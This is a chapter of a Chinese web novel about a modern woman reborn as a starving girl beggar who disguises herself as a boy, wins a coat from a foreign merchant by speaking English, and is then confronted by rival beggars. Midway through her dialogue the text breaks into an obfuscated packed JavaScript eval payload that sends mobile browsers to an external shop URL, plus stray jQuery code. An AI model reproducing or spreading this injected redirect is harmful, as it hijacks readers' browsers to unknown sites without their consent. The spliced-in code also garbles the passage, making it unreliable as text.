人这一生的运气,大约是有定数的。之前的郑缨过得太顺了——爱和钱都没缺过,家庭开明,父母恩爱,学业也算不上刻苦,偏考进了京城最好的那所大学。她挑了个冷门专业,父母只问她喜不喜欢,没拦过她。一毕业,名下就有了车和房,全是家里给的。
如果早知道自己会被送来这个鬼地方,她必定匀出来一些好运留着现在用。
腊月朔风割面,她叹了一口气,将自己冻僵的双脚从积雪中拔出来,每陷一足,便听得“咯吱”一声,破败鞋帮里挤出一股黄脓。足踝处紫斑叠着褐痂,冻瘃纵横如老树皴皮,偶有裂口处绽出猩红嫩肉。郑小池膝下两条麻秆似的瘦腿颤若风中秋草,似千万根银针扎进疮口。
雪地里,三人一深一浅地戳出两行小印,像用素宣上歪歪斜斜画了首绝命诗。
终于到了城外,三人松了口气,弘光门已开,来往商客虽不如往日多,却也三三两两、络绎不绝。有远行商客,就有机会在客舍外捡到他们丢弃的、吃剩的行粮。偶尔有面善的女客,上前去说几句吉祥话,或许有心软的会丢下一两枚铜板。不过城外的乞丐太多,要早早地抢占最佳位置,失了先机就意味着可能会饿肚子。
打头的那个叫阿征,年纪最大,虽然脾气不太好,经常会骂人,却是个实心肠的良善人。他后面跟着的刘五儿和谢小池,都是他路上捡来的,三人抱团求生,苟活至今。
杀了人的谢小池现在用回了自己原本的姓氏,阿征和刘五儿都只知道她叫郑小池。郑缨不愿意用本名,她接受不了郑缨两个字和脏污的小乞丐联系在一起,郑缨是她一场遥远的美梦。
时间久了,郑小池甚至开始怀疑曾经的一切是不是真实的存在,到底是郑缨成了郑小池,还是郑小池梦到了郑缨。慈爱的父母、优渥的生活、顶尖的大学、梦寐以求的工作,这些都和磁悬浮列车、火星探测机器人一样,离自己十万八千里远。
而且这里压根不是郑缨世界中任何一个存在过的朝代,她的那些历史知识全都用不上。
长期的饥饿让她没时间想太多,营养不良让她的大脑功能下降,久而久之,她开始遗忘很多东西。一开始她准备记录下来,可是没有笔、没有纸张,甚至连多余的破布都没有。每晚睡觉前,她默默回忆郑缨曾学过的一切,只有这样才能慰藉她:她并非一无所有,物质的匮乏可以削弱她的身体、打击她的斗志,但精神的富足会让她撑到最后一刻。
三人来到城中外来客商最多的开元客舍外,裹紧补丁摞补丁的破棉袄,瑟缩在屋檐下,寻找乞食的机会。
阿征曾试图毛遂自荐,找到店家说想要当杂役。店家拒绝了,看他们可怜便随手赏了两盘剩菜给他们,又将他们请出门。当杂役要肯吃苦、体格健壮、孔武有力,他们三个只有肯吃苦这一条满足。
阿征想当学徒当小二,可是铺子老板说他们长得形容枯槁、面黄肌瘦,会扫了客人的兴致,需要看上去就喜兴的人。阿征和刘五儿笑起来比哭还难看,谢小池不会笑。
阿征还试过去参军,若是当了兵卒便三餐不愁,再也不会饿死了。可是他们三个都没有身份文书,说不清来历。
玄嘉城中,朱雀大街如天河纵贯,宽阔青石板路上驼铃与马蹄声不绝于耳。波斯的琉璃、大食的香料、西域的胡姬,在东市西市的万千商铺间流转,四海珍奇皆汇于此。巍峨壮丽的宫城在高地上俯瞰众生,四海升平,百姓安乐。
众生中,不包括阿征、刘五儿、郑小池这样脏臭的黑户小乞丐。他们白日里可以在城内晃荡,城门落锁前必须离开,否则会被清理掉。
不过好在阿征和刘五儿都是乐观的人,只消今日填饱肚皮,便可安心过一日。明天太遥远,想了也无益。
郑小池抱膝坐下,她的背看上去比阿征和刘五儿都更佝偻。
由于极度营养不良,她发育得比寻常女孩子晚,但是现在她十五岁了,胸部不可避免地开始隆起,郑小池用捡来的破布将自己的胸部缠紧,平时缩起脖子装作成严重驼背的模样。
阿征大大咧咧,不拘小节,他也不在乎谁比谁更邋遢,谁比谁更佝偻。刘五儿是个害羞腼腆的,郑小池不愿与他们一处解手、夏日里也不打赤膊,他只当郑小池比他面皮还要薄,都是讨生活的,无须强人所难。
但郑小池心里清楚,她瞒不了他们太久,一旦例假来了,他们一定会发现的。如今连活着都困难,从哪找干净些的棉花与布料呢?她只能期盼例假来得晚一些,再晚一些,故而她经常吃了一半就推脱饱了。
一队胡商进了城,入住他们守候的开元客舍。
一进前堂,为首的那个大胡子就大声唤小二上好酒端好菜,随从们将骆驼上的箱子卸下,陆续搬进客舍。
阿征见机会来了,从台阶上跳下来,凑到一个看上去比较好说话的年轻人面前挤出一个自以为灿烂的笑容:“胡达护佑,利路亨通,黄金万两!大爷可有吃剩的行粮赏一些?”
年轻人皱了下眉,像是没听懂的样子,但他看了眼阿征,又撇了下阿征身后的乌鸡崽子般的刘五儿和郑小池,似乎明白了什么。
年轻人转身从骆驼上取下一个落满雪的牛皮囊,抖了抖,将抽绳拉开,掏出几块馕递给阿征,想了想,又伸手掏了块吃剩的咸肉块递给刘五儿和郑小池。
阿征和刘五儿惊喜万分,眼神犹如饿狼:许久未见肉味了,滋味难以抗拒。他们一把接过馕和肉块,向僻静处跑去,刘五儿边跑边扭头喊:“小池,快来!”
郑小池没有跟上他们,她摩挲着自己冻得肿胀的手,眼巴巴地看着这个好心的年轻人。年轻人见她不走,也不管她,继续搬东西。来回几趟之后,他在她面前停下。
异世界中,郑小池无法从衣着判断他们的来处,她不敢暴露自己,此刻却没有更好的选择。她对着他比划,想要一些旧衣裳,他却看不明白。
郑小池急得眼泪打转,心一横,死马当活马医吧。她脱口而出:“Clothes.”年轻人愣住,不可置信地瞪大双眼。郑小池在他橄榄绿色的眼眸里看见一个人形模糊的小乞丐,她顾不得别的——他显然听懂了。
郑小池大喜过望,继续祈求道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864355|212144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
Please!”
年轻人没回答她,走进客舍,打开了一个牛皮箱,翻找了片刻,拿着一件磨得边缘发白的皮袄走出来。郑小池犹豫了,这个施舍太重了,她付不起代价,而且这衣服太扎眼,她需要一些更日常的。
郑小池摇摇头:“Ineedsomecottonpieces.”
年轻人眉目晴朗,他上下打量了郑小池,坚定地将皮袄给她披上。
胡商中一个面部又刀疤的随从过来与年轻人说话,用的是她听不懂的话语。郑小池不敢继续逗留,她伸手拽紧皮袄,留下一句“Thankyouverymuch!”便飞速逃走。
年轻人静静地站在那里,依然一言不发,视线紧紧追随郑小池的身影。
身披皮袄的郑小池在街道中快速游走,犹如一只灰溜溜的过街老鼠。她熟练地跑到一个僻静的街角,阿征和刘五儿正一边大口地咀嚼馕,一边探头探脑地往外看。
见郑小池出现,阿征抽出一只手示意她快些过去。
“你……去哪儿……到现……在才来?”阿征口中塞满干硬的馕块,奋力咀嚼使得他满脸涨红,“皮……皮袄哪来的?”
郑小池不动声色地避开他口中喷出来的碎渣,接过刘五儿递给她的一块馕,与他们缩在一处,贪婪地吃着。
阿征胡乱抓了两把雪塞进嘴巴,抬起袖子擦了擦嘴,从怀中掏出啃掉了大半的的咸肉递给郑小池:“喏,我们给你留的,我还给你捂热乎了呢!再不来这肉就留不住了。”
郑小池点点头,接过肉块啃了一嘴,又将肉块还给阿征。
刘五儿疑惑地看着郑小池,半响,迟疑地问:“你是不是生病了?”
郑小池将整块馕一口气吃完,拍拍手,伸手取下皮袄折叠起来:“我没病,那人给了咱们一件皮袄,晚上睡觉的时候不怕冷了。”
阿征警惕地向开元客舍的方向张望,见没有人追来,他接过皮袄,拉起郑小池和刘五儿:“既然吃饱了,今日就早些出城,把皮袄送回屋棚,免得他后悔了追上来。”
刘五儿点头如捣蒜:“说得对!咱们快走!”
眼瞧着再过两条街就是弘光门了,三人加快脚步。
不料刚转过街,就撞到了人,刘五儿和郑小池跌坐在地,阿征恨恨地望向来人——他们的宿敌,赵喜儿和阿镖。
赵喜儿和阿镖之前因为抢地盘与阿征他们打过几次,赵喜儿和阿镖个头更高些,但阿征他们有人数优势,所以实力不相上下。
今日赵喜儿和阿镖进城晚了,却一来就碰上抱着皮袄疾行的阿征他们。简直是送上门的大喜事,赵喜儿喜不自胜。
阿镖笑得十分猥琐,声音粗犷:“哟,可新鲜了呐,小乞丐都用上皮袄了!”
“老实说,从哪里偷的!要么送你去报官,要么……”赵喜儿嘴巴咧向一边,搓着手逼近阿征,蔑笑道,“皮袄孝敬我们!”
阿征飞快后退一步,将皮袄抛给刘五儿和郑小池:“快!你们先走!”
话音刚落,阿征与阿镖厮打在一起。